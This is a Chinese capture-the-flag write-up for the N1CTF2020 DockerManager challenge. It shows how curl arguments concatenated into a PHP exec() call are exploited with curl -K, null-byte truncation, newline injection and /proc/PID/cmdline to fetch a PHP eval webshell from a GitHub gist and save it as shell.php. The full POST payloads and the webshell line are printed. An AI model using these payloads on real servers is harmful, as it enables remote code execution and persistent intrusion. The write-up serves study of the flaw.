从一道题目学习curl命令参数写入shell – 作者:asuralinmo

[toc]

题目来源
[N1CTF2020]DockerManager

知识点

curl命令参数
linux基础知识
php命令执行参数拼接
爆破pid

环境搭建

从buu上下载下来源码

图片[1]-从一道题目学习curl命令参数写入shell – 作者:asuralinmo-安全小百科

本来可以用docker直接搭建,但是出了些报错,心想解决报错,还不如直接拷贝代码到本地web环境,这里笔者使用docker中的宝塔环境

http://www.asura-apache.com:8383/phpinfo.php
PHP Version 5.4.45
_SERVER[“SERVER_SOFTWARE”] Apache

图片[2]-从一道题目学习curl命令参数写入shell – 作者:asuralinmo-安全小百科

代码审计及分析过程攻击思路

图片[3]-从一道题目学习curl命令参数写入shell – 作者:asuralinmo-安全小百科
grab_request_var函数是相当于实现了
$_REQUESTS['xxx']这样的功能,用来传递参数

使用escapeshellarg函数进行过滤,

php版本是5.4.45可以使用00截断

$cmd = 'curl --connect-timeout 10 ' . $host_addr . ' -g ' . $cert . $key . $cacert;
$output = array();
$ret = 0;
echo var_dump($cmd);
exec($cmd, $output, $ret);

这里将前端传递过来的几个参数进行拼接,然后使用exec函数执行命令
这里使用curl -K参数进行攻击

-K, --config <file> Read config from a file
     --connect-timeout <seconds> Maximum time allowed for connection
     --connect-to <HOST1:PORT1:HOST2:PORT2> Connect to host

 -g, --globoff       Disable URL sequences and ranges using {} and []
     --happy-eyeballs-timeout-ms <milliseconds> How long to wait in milliseconds for IPv6 before trying IPv4
     --haproxy-protocol Send HAProxy PROXY protocol v1 header

-E, --cert <certificate[:password]> Client certificate file and password

--key <key>     Private key file name

-K参数用来读取加载一个配置文件

/dev/full设备,类Unix系统中,/dev/full(常满设备)是一个特殊设备文件,总是在向其写入时返回设备无剩余空间(错误码为ENOSPC),读取时则与/dev/zero相似,返回无限的空字符(NULL, ASCII NUL, 0x00)。这个设备通常被用来测试程序在遇到磁盘无剩余空间错误时的行为。

在linux系统中,curl会产生进程,举个例子如下
image.png
图片[5]-从一道题目学习curl命令参数写入shell – 作者:asuralinmo-安全小百科

会在
会在/proc目录下产生一个对应pid的目录,其目录下会有cmdline文件,记录了文件的执行的命令
我们可以利用这一点,将webshell相当于上传到服务器上
在利用curl -K参数去读取/dev/full或/dev/urandom文件时,会造成curl一直运行,一直在读取文件,进程也会一直存在
/proc/xxxpid/cmdline会记录我们的恶意操作
然后再次通过host参数传入我们要读取的/proc/xxxpid/cmdline,exec执行curl命令

攻击流程

在 github gist上随便写个一句话木马,在自己服务器上也行 一个道理
https://gist.githubusercontent.com/mo0rain/574987c02b0d885cf1528b25aef11311/raw/b68ffda8607d29bba6e39f4e127ad9580d845caf/gistfile1

<?php eval($_POST[a]);phpinfo();?>

http://asura-apache.com:8383/html1/view.php

post
cert=&key=&mode=&host=-K/dev/urandom%00&cacert=111%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0aurl="https://gist.githubusercontent.com/mo0rain/574987c02b0d885cf1528b25aef11311/raw/b68ffda8607d29bba6e39f4e127ad9580d845caf/gistfile1"%0aoutput="shell.php"%0a%0a%0a%0a%0a%0a%0a

图片[6]-从一道题目学习curl命令参数写入shell – 作者:asuralinmo-安全小百科

正常需要爆破pid,这里为了方便演示,在后台服务器上看一下pid

图片[7]-从一道题目学习curl命令参数写入shell – 作者:asuralinmo-安全小百科
pid为1736

图片[8]-从一道题目学习curl命令参数写入shell – 作者:asuralinmo-安全小百科
第一步就完成了

第二步

post
cert=&key=&mode=&host=-K/proc/1736/cmdline%00

相当于执行了这样的操作

[root@03cf837017a8 html1]# curl -K/proc/1736/cmdline
Warning: /proc/1736/cmdline:1: warning: 'curl' is unknown
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    34  100    34    0     0      8      0  0:00:04  0:00:04 --:--:--     8

图片[9]-从一道题目学习curl命令参数写入shell – 作者:asuralinmo-安全小百科
成功生成木马

参考

https://www.zhaoj.in/read-6750.html
https://guokeya.github.io/post/E7S2ehXp7/

来源:freebuf.com 2021-05-07 17:45:28 by: asuralinmo

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论